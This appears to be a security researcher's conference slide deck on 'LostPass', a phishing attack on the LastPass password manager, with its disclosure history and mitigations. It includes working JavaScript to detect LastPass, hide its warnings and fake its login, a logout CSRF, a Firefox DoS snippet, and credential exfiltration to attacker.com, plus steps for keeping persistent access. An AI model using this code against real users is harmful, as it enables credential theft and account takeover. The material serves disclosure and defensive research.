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“The primary attack vector, indeed, the 
overwhelmingly dominant attack vector, is 
phishing. There is almost never any exploit at 
all, and 0day exploits are even rarer still. 
Exploits are not needed, not used, and not 
relevant.

– the grugq, 2015
https://lists.alchemistowl.org/pipermail/regs/2015-September/000617.html
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What most phishing is



What we want our phish to be



What would the ideal phish be?

1. Trained users are susceptible
2. Attack gives access to machine, credentials, or 

sensitive data
3. Hard to detect
4. Relies on a difficult-to-fix flaw
5. Widely applicable



Anti-Phishing Techniques



Phishing is a software vulnerability

• Software should be designed to be phishing-
resistant

• If it's easy for an attacker to fake, it's broken
• If users are tricked, it's fault of the software 

designer
• Good UX is a security measure

Corollary: software must be easy to use correctly



Traditional Anti-phishing Techniques

• Training
• Trusted source verification

• HTTPS EV
• SPF/DKIM/DMARC
• Binary signatures
• Security Images

• Suspicious data warnings
• Phishing detection











Better names for "Enable Content"

• Run Malware
• Destroy my computer, please
• What's Cryptolocker?
• Maybe this is just a pen test
• I hate myself and the company I work for
• Fuck it
• YOLO





Problems with Microsoft Word 2010

• Noisy messages
• Unclear warnings

• Why is protected mode necessary?
• What's a macro?
• Enable content sounds like a good thing

• Cross-platform inconsistency

Consequences of user actions unclear.



Anti-Phishing Design

• Which pixels can be controlled by the attacker?
• Anti-phishing is:

• Reducing which pixels attackers control
• Walling them off
• Warning the users that certain pixels are 

"untrustworthy pixels"
• Help the user make the right decision



The Target



The Target: LastPass

• Browser extension
• Has lots of useful secrets
• Widely used
• Has an API
• Easy to detect
• Sort of buggy

















The Plan



Step 1:
Direct the user to a 
benign-looking but 
malicious site, or a benign 
site with an XSS



Step 2:
If the user has LastPass, 
show a fake banner that 
we control.



Step 3:
When the user 
clicks our banner, 
show them our 
fake login page.



Step 4:
If the user/pass is correct, 
show them 2FA if needed



Step 1
Gathering the HTML











Step 2
Showing the Banner



Detecting LastPass

• First, detect if LastPass is installed
• It used to be really easy

• navigator.plugins['LastPass']

Instead, we'll need to do something else





What is the asterisk?



Detecting LastPass

• Let's put a form element on our page, with a username 
and password, and try to see if LastPass puts the 
asterisk on it



Detecting LastPass

function lastPassIsInstalled() {

var username = document.getElementById
("lpdetectusername");

var style = username.getAttribute("style");

return (style != null && style.indexOf
("background-image") > -1);

}



Showing the Banner

document.body.insertAdjacentHTML("beforeend",lpDetectFormHTML);

window.setTimeout(function() {

  if (lastPassIsInstalled()) {

    var browser = detectBrowser();

    if (browser.startsWith("Chrome")) {

       // insert HTML for Chrome

    } else if (browser.startsWith("Firefox")) {

       // insert HTML for Firefox

}}}, 500);





One last thing: the LastPass button



LastPass's BugCrowd Page



LastPass's BugCrowd Page – Out of Scope



LastPass Logout CSRF

<script src="https://lastpass.com/logout.php">

</script>

• Works! 
• You don't even need to use POST to log users out
• Now users see a gray or yellow LastPass icon rather 

than a red one
• Nothing is amiss



Step 3
Showing our Login Screen





Problem: the protocol

Can't spoof the 
protocol

Random 
looking string

Looks like an 
unencrypted
connection



Solution: buy a domain!

.pw domain
Most of the URL 
is noise, hides 
our attack

The same icon 
because we're 
connecting over 
HTTP



Problem:



Problem: LastPass found a form!





Need to remove <div>

• The <div> is added at runtime, so let's get rid of it
• How do you detect when the DOM is changed?
• MutationObserver

• Have a function called when attributes are 
changed or children nodes added

• Remove the <div> once it's added



Need to remove <div>

var observer = new MutationObserver(function(mutations) {

  mutations.forEach(function(mutation) {

    if (mutation.addedNodes.length > 0) {

      for (var i = 0; i < mutation.addedNodes.length; i++) {

        var n = mutation.addedNodes[i];

        if (n.id !== undefined && n.id.startsWith("__lp")) {

          document.body.removeChild(n);

        }}}}); });

observer.observe(document.body, { childList: true });





Need to undo change to style attr

var pwfield = document.getElementById("loginDialogPassword");

var observer = new MutationObserver(function() {

  pwfield.style = "";

});

var config = { attributes: true };

observer.observe(pwfield, config);

This hard locks Firefox 43.0.3. Well, we found a DoS!



Firefox DoS: the tweet-sized version

<script>

var b=document.body;

new MutationObserver(function(){b.id=""})

.observe(b,{attributes:true});

b.id="";

</script>









• This is harder
• It uses a Windows pop up window
• On OS X it slides out from the top
• Linux is similar to Windows

• We have to do the "hard work" and draw our own
• HTML and CSS to the rescue!

Firefox Login Screen



Phishing









Step 4
Profit



What will happen

• Once the user hits "Log In" it sends the credentials 
to our server

• Server calls the LastPass mobile API
• If two-factor is required, we report that back to the 

user to prompt for the two-factor auth code
• Otherwise we have the plaintext secrets and report 

success to the user



Send the credentials

1. Victim presses login

2. GET attacker.
com/p/c2VhbkBwcmFlc2lkLmlvOnlvdSBzaG91bG
QgZW1haWwgbWU%3D

3. Decode base64 into email:password



Send the credentials

1. Try LastPass API
import lastpass
vault=lastpass.Vault.open_remote(e, p)

2. Catch exceptions
a. If two-factor required, HTTP 307 to two-factor 

screen
b. Otherwise, incorrect password, HTTP 307 to 

landing page



Send the credentials (2FA)

1. Victim is redirected to
chrome-extension.pw/:
//debgaelkhoipmbjnhpoblmbacnmmgbeg/lp_to
olstrip.html?
id=c2VhbkBwcmFlc2lkLmlvOnlvdSBzaG91bGQgZ
W1haWwgbWU%3D

2. Victim enters two factor code
3. GET attacker.

com/2fa/034821/c2VhbkBwcmFlc2lkLmlvOnlvd
SBzaG91bGQgZW1haWwgbWU%3D



Maintain access

• Google 2FA codes are good for up to 30 seconds
• We could add our server as a "trusted device" to 

maintain access for 30 days
• Disable 2FA to maintain access for good
• Download all login history
• Recover deleted items
• Disable security policies



Demo!



Implications

• Phishing LastPass is the worst-case scenario
• If you use shared LastPass folders, only one 

team member needs to be phished
• All of your passwords are gone
• Your credit cards, secure documents, and more
• Two-factor is no help

• More on this later



Mitigations for LastPass

• Block logins from new IP addresses*
• Don't display notifications in the browser window
• Always use popup-style notifications and forms

• Or move to HTTPS EV login page
• Implement Security Image/Theme
• Implement CORS and Content-Type restrictions on 

all APIs to prevent CSRF
• Make user experience less buggy



Response from LastPass

• Contacted in November
• Due to a snafu, they only got back to me in 

December
• Lots of different messages

• This is a bug in LastPass
• This is not a vulnerability in LastPass
• The CSRF is what we'll fix, not the notifications
• It's Chrome's issue



Response from LastPass



If you use LastPass,
using two-factor auth now
makes you less secure.



Response from LastPass

• What they fixed
• Chrome extension fixed logout CSRF
• Firefox still vulnerable

• Chrome warns the user about leaking master 
passwords on other sites*

• What won't change (for now)
• Still uses in-viewport notifications
• Login page still vulnerable
• chrome-extension protocol URL bar









Response from LastPass



Mitigations for LastPass Users

• Ignore notifications in the browser window
• Premium/Enterprise mitigations only

• Enable IP restriction
• Disable mobile login
• Other attacks could use non-mobile API

• Log all logins and failures
• You probably shouldn't disable 2FA



How to get around the IP Restriction (almost)

• LastPass doesn't use CORS
• They also accept text/plain JSON via POST

• Intercept credentials
• Issue AJAX request for login
• Can't read response because of cross-origin 

restrictions
• Luckily browsers have no bugs in CORS, so we're 

safe, right?





Lessons for Software Developers

• UX should be designed with phishing in mind
• If necessary, add explicit anti-phishing measures
• Browser extensions: be wary of using the viewport
• Non-buggy user experiences
• Fix low severity security bugs

• Otherwise I'll chain them together
• Bug bounties are not a panacea
• Use CORS and Content-Type!



Lessons for Users

• Keeping all of your secrets in one place is 
dangerous

• Make a phishing threat model
• Engineering, management, sales/marketing

• Training is not enough
• Buy products that are phishing-resistant
• Don't click on anything in your browser, ever



Lessons for Researchers

• Novel phishing attacks need more attention
• Anti-phishing research is still nascent
• UX is a critical aspect of software's security 

posture and should be tested as such
• It's not all about traditional exploits
• The out-of-scope bug bounty list is a good place to 

find vulnerabilities to chain together



“Give a man an 0day and he'll have 
access for a day, teach a man to 
phish and he'll have access for life.

– the grugq, 2015
https://twitter.com/thegrugq/status/563964286783877121
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Questions?

Email: sean@praesidio.com
Website: www.seancassidy.me
Twitter: @sean_a_cassidy

Code is available: https://github.com/cxxr/lostpass
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